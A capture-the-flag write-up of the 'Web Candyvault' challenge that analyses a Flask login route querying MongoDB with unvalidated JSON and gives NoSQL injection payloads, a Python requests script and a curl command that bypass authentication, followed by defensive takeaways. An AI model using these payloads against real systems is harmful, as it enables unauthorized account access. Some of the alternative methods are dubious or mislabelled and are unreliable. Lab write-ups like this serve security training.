HTB Hack The Boo Practice: Web Candyvault
Challenge Information
| Attribute | Details |
|---|---|
| Event | Hack The Boo Practice |
| Category | Web |
| Challenge | Web Candyvault |
| Difficulty | Very Easy |
Summary
This is an extended version of the Candyvault challenge with the same vulnerability. A Flask web application uses MongoDB for user authentication. The application accepts JSON requests and performs NoSQL queries without proper input validation, making it vulnerable to NoSQL injection attacks. The vulnerability allows attackers to bypass authentication by injecting MongoDB query operators.
Analysis
The application structure is identical to the base candyvault challenge:
@app.route("/login", methods=["POST"])def login(): content_type = request.headers.get("Content-Type")
if content_type == "application/x-www-form-urlencoded": email = request.form.get("email") password = request.form.get("password")
elif content_type == "application/json": data = request.get_json() email = data.get("email") password = data.get("password")
else: return jsonify({"error": "Unsupported Content-Type"}), 400
user = users_collection.find_one({"email": email, "password": password})
if user: return render_template("candy.html", flag=open("flag.txt").read()) else: return redirect("/")Core Vulnerability:
The application directly uses user-supplied email and password values in a MongoDB query without any validation or sanitization. When JSON is sent with MongoDB operators instead of strings, the query logic is altered.
Solution
Method 1: NoSQL Operator Injection
Send a POST request with JSON containing MongoDB operators:
POST /login HTTP/1.1Content-Type: application/json
{ "email": {"$ne": ""}, "password": {"$ne": ""}}This injects the MongoDB not-equal operator, making the query match any user document where both email and password fields exist (which is true for all valid users).
Method 2: Using $or Operator
An alternative approach using the logical OR operator:
{ "email": {"$or": [{"a": "a"}]}, "password": {"$ne": ""}}Method 3: String-based Injection
If content-type restrictions exist, try injecting operators in string form:
{ "email": {"$where": "1==1"}, "password": {"$where": "1==1"}}Using Python requests:
import requests
url = "http://target:1337/login"
# Bypass authenticationpayload = { "email": {"$ne": ""}, "password": {"$ne": ""}}
response = requests.post( url, json=payload, headers={"Content-Type": "application/json"})
# The response will contain the flag if injection is successfulif "HTB{" in response.text: print("Success! Flag retrieved") print(response.text)Using curl:
curl -X POST http://target:1337/login \ -H "Content-Type: application/json" \ -d '{"email":{"$ne":""},"password":{"$ne":""}}'Key Takeaways
- NoSQL databases can be vulnerable to injection attacks similar to SQL injection
- MongoDB operators like
$ne,$gt,$regex,$orcan be injected as query values - Type checking and validation must occur before using user input in database queries
- JSON parsing should not automatically allow nested objects in sensitive operations
- Input should be validated to ensure it matches expected types (strings for email/password)
- Use parameter binding or prepared queries even in NoSQL databases
- Implement proper authentication frameworks that handle security concerns automatically